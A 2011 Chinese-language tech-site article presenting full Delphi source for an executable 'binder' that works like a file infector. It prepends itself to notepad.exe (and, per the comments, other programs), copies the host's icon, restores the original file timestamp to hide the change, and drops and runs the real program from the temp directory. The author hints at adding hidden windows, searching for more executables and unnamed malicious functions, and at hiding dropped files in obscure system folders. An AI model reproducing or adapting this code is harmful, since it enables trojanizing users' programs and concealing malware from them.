知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 技术文献

捆绑执行文件新思维

发布时间:2011-06-26 05:28:39作者:知识屋

最新功能:与其它程序捆绑后,图标为其它程序的图标 
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存 
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能... 

程序中几个数字的确定: 
1 在本程序编译后用Aspack.Exe压缩,大小为41472 
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据 
位于从第40752字节开始共640字节,图标后还有81字节 

与其它程序捆绑的过程: 
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部 

怎么找到图标的位置: 
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制 
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。 
十六进制编辑软件:常用UltraEdit。 
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题: 

program exe2; 

uses 
classes, 
Tlhelp32, 
windows, 
graphics, 
ShellAPI, 
SysUtils; 

{$R *.RES} 

var 
lppe:TProcessEntry32; 
found:boolean; 
handle:THandle; 
ProcessStr,ExeName:string; 
WinDir:pchar; 
const 
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!} 

procedure copy2(s:string); 
var 
s1,s2,IcoStream:TMemoryStream; 
File2:TFilestream; 
ch:array[0..1] of char; 
ss:string; 
filetime,fhandle:integer; 
l:integer; 
File2Icon:Ticon; 
begin 
{若文件s不存在} 
if FileExists(s)=False then exit; 
try 
{若文件不含图标,就不捆绑} 
File2Icon:=Ticon.Create; 
l:=extracticon(handle,pchar(s),0); 
if l=0 then 
begin 
File2Icon.Free; 
exit; 
end 
else 
begin 
{提取被捆绑程序图标} 
File2Icon.Handle:=extracticon(handle,pchar(s),0); 
IcoStream:=TMemoryStream.Create; 
File2Icon.SaveToStream(IcoStream); 
File2Icon.Free; 
end; 
{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} 
File2:=TFilestream.Create(s,fmopenread); 
if File2.Size>MySize then 
begin 
File2.Position:=MySize; 
File2.Read(ch,2); 
ss:=copy(ch,1,2); 
if ss='MZ' then 
begin 
File2.Free; 
exit; 
end; 
end; 
File2.Free; 

{将本文件与文件s合并 本文件+s=s} 

s2:=TMemoryStream.Create; 
s2.loadfromfile(ExeName); 
s1:=TMemoryStream.Create; 

{ 加入本程序的前部40751字节 
第40752字节开始共640字节为图标数据 
!!以下数字 40751,81要根据实际情况修改!! } 
s1.copyfrom(s2,40751); 
{将图标换为被捆绑程序图标,图标大小为766} 
IcoStream.Position:=126; 
s1.CopyFrom(IcoStream,640); 
IcoStream.Free; 
s2.Position:=40751+640; 
{加入本程序的后部81字节} 
s1.CopyFrom(s2,81); 
s2.clear; 
s2.loadfromfile(s); 
s1.seek(s1.size,soFromBeginning); 
{加入被捆绑程序全部} 
s1.copyfrom(s2,s2.size); 
s2.free; 
{得到文件s的日期} 
fhandle:=FileOpen(s, fmOpenread); 
filetime:=filegetdate(fhandle); 
fileclose(fhandle); 
s1.SaveToFile(s); 
{恢复文件s的日期} 
fhandle:=FileOpen(s, fmOpenwrite); 
filesetdate(fhandle,filetime); 
fileclose(fhandle); 
s1.free; 
except end; 
end; 

procedure CreateFileAndRun; 
var 
s1,s2:TMemoryStream; 
TempDir:pchar; 
cmdstr:string; 
a:integer; 
Begin 
s1:=TMemoryStream.Create; 
s1.loadfromfile(ExeName); 
if s1.Size=MySize then 
begin 
s1.Free; 
exit; 
end; 
s1.seek(MySize,soFromBeginning); 
s2:=TMemoryStream.Create; 
s2.copyfrom(s1,s1.Size-MySize); 
GetMem(TempDir,255); 
GetTempPath(255,TempDir); 
try 

{ 把文件释放到临时目录。 
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录, 
如 c:windows(or winnt)d...(☆这是个什么目录?你去研究研究吧!☆) } 

s2.SaveToFile(TempDir+''+ExtractFileName(ExeName)); 
except end; 
cmdstr:=''; 
a:=1; 
while ParamStr(a)<>'' do begin 
cmdstr:=cmdstr+ParamStr(a)+' '; 
inc(a); 
end; 
{运行真正的程序文件} 
winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); 
freemem(TempDir); 
s2.free; 
s1.free; 
end; 

begin 
GetMem(WinDir,255); 
GetWindowsDirectory(WinDir,255); 
ExeName:=ParamStr(0); 
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); 
found:=Process32First(handle,lppe); 
ProcessStr:=''; 
while found do 
begin 
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} 
found:=Process32Next(handle,lppe); 
end; 
{如果notepad没运行,就与它捆在一起} 
if pos(WinDir+'notepad.exe',ProcessStr)=0 then 
begin 
copy2(WinDir+'notepad.exe'); 
end; 
{其它需要捆绑的文件 
if pos(...,ProcessStr)=0 then 
begin 
copy2(...); 
end; 
... } 
freemem(WinDir); 
{ 你想用这个程序干点其它的什么... } 
CreateFileAndRun;{释放文件并带参数运行} 
end.

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜